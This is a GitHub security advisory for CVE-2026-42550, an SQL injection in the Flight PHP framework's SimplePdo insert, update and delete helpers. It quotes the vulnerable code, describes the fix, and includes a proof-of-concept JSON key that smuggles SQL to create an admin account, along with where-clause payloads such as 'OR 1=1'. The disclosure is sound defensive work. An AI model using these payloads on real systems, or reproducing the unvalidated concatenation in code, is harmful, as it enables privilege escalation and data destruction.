GitHub Advisoryadvisory · Packagist
GHSA-xwqr-rcqg-22mr Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete
HIGH
Official page ↗
- Aliases
- CVE-2026-42550
- Ecosystem
- Packagist
- Packages
- flightphp/core
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2026-05-06
Affected packages
• Packagist flightphp/core: < 3.18.1 → fixed in 3.18.1
Description
Summary
`SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the keys of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db->insert('users', $request->data->getData())` — an attacker can inject arbitrary SQL by crafting malicious array keys.
Affected code
`flight/database/SimplePdo.php`:
```php
// insert (≈ 320-373)
$sql = sprintf(
"INSERT INTO %s (%s) VALUES (%s)",
$table, // raw concat
implode(', ', $columns), // raw array_keys($data)
implode(', ', $placeholders)
);
// update (≈ 397-409)
$sets[] = "$column = ?"; // $column = user-controlled key
$sql = sprintf(
"UPDATE %s SET %s WHERE %s",
$table, // raw
implode(', ', $sets),
$where
);
// delete (≈ 427-429)
$sql = "DELETE FROM $table WHERE $where";
```
No identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern.
Proof of concept
A controller does:
```php
$db->insert('users', $request->data->getData());
```
The attacker sends the JSON body:
```json
{"name, is_admin) VALUES (?, 1);-- ": "attacker_injected"}
```
Generated SQL:
```sql
INSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?)
```
After the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`.
Reproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`):
```
id=1 name=alice is_admin=0
id=2 name=attacker_injected is_admin=1 update('users', ['is_admin' => 1], "id = 1 OR 1=1")` flips admin on every row.
Impact
• Privilege escalation on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request).
• Arbitrary column write through `update()` keys.
• Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.).
Patch (fixed in `3.18.1`, commit `b8dd23a`)
A new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely.
Credit
Discovered by @Rootingg.
Related
Alias · CVE (1)
- CVE-2026-42550 Flight is an extensible micro-framework for PHP. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/flightphp/core/security/advisories/GHSA-xwqr-rcqg-22mr web
- https://nvd.nist.gov/vuln/detail/CVE-2026-42550 advisory
- https://github.com/flightphp/core/commit/b8dd23aaa828cb289fa3c84e75b2a3717cab50b0 web
- https://github.com/flightphp/core package
- https://github.com/flightphp/core/releases/tag/v3.18.1 web